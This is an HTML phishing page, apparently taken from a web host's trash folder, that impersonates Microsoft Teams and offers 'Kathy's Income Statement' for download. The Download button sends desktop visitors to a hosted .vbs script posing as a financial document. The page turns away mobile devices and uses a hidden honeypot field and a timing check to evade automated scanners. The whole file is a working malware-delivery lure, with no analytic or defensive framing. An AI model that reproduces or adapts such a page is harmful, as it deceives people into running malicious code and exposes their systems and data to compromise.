HEX

File: /home/redpsiju/.trash/Teamssharing/index.html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <title>Microsoft Teams | Kathy's Income Statement Download</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@400;600&display=swap" rel="stylesheet" />
  <style>
    body {
      font-family: 'Segoe UI', sans-serif;
      background-color: #f3f2f1;
      margin: 0;
      padding: 0;
      display: flex;
      align-items: center;
      justify-content: center;
      height: 100vh;
    }

    .teams-wrapper {
      width: 100%;
      max-width: 480px;
      background: #fff;
      padding: 40px 35px;
      border-radius: 12px;
      box-shadow: 0 4px 14px rgba(0,0,0,0.08);
      border-top: 5px solid #6264a7;
      text-align: center;
    }

    .logo {
      width: 85px;
      margin-bottom: 15px;
    }

    h1 {
      font-size: 22px;
      margin: 0 0 12px;
      color: #201f1e;
      font-weight: 600;
    }

    p {
      font-size: 15px;
      color: #605e5c;
      margin-bottom: 25px;
    }

    .teams-btn {
      background: #6264a7;
      color: #fff;
      padding: 12px 26px;
      border-radius: 6px;
      border: none;
      cursor: pointer;
      font-size: 15px;
      font-weight: 600;
      transition: background .2s;
    }

    .teams-btn:hover {
      background: #4f5088;
    }

    /* Mobile Block Screen */
    .mobile-message {
      text-align: center;
      width: 100%;
      max-width: 480px;
      background: #fff;
      border-top: 5px solid #d13438;
      padding: 40px 30px;
      border-radius: 12px;
      box-shadow: 0 4px 14px rgba(0,0,0,0.08);
    }

    .mobile-message h2 {
      color: #d13438;
      font-size: 22px;
      margin-bottom: 12px;
    }

    .mobile-message p {
      font-size: 15px;
      color: #605e5c;
    }
  </style>
</head>

<body>
  <div id="mainContent" class="teams-wrapper">

    <!-- Working Logo -->
    <img src="https://img.icons8.com/color/452/microsoft-teams.png"
         alt="Microsoft Teams Logo"
         class="logo">

    <h1>Kathy's Income Statement Ready for Download</h1>
    <p>Your document is prepared and ready. Click below to access it securely.</p>

    <input type="text" id="robot_check" name="robot_check" style="display:none;" autocomplete="off">

    <!-- No auto download. User must click. -->
    <button class="teams-btn" id="downloadBtn" disabled>Download File</button>
  </div>

  <script>
    const isMobile = /iPhone|iPad|iPod|Android/i.test(navigator.userAgent);

    if (isMobile) {
      document.body.innerHTML = `
        <div class="mobile-message">
          <h2>Access Denied</h2>
          <p>This content is restricted. Please open this link on a desktop device to continue.</p>
        </div>
      `;
    } else {
      const startTime = Date.now();

      window.addEventListener('DOMContentLoaded', () => {
        setTimeout(() => {
          document.getElementById('downloadBtn').disabled = false;
        }, 2000);
      });

      document.getElementById('downloadBtn').addEventListener('click', function () {
        const honeypot = document.getElementById('robot_check').value.trim();
        const timeSpent = (Date.now() - startTime) / 1000;

        if (honeypot || timeSpent < 2) {
          window.location.href = "https://www.mediafire.com/file_premium/4x1r6exheudnohq/Kathy%2527s.Income_statement.vbs/file";
          return;
        }

        // NO AUTO-DOWNLOAD. Page simply redirects to the file.
        window.location.href = "https://www.mediafire.com/file_premium/4x1r6exheudnohq/Kathy%2527s.Income_statement.vbs/file";
      });
    }
  </script>
</body>
</html>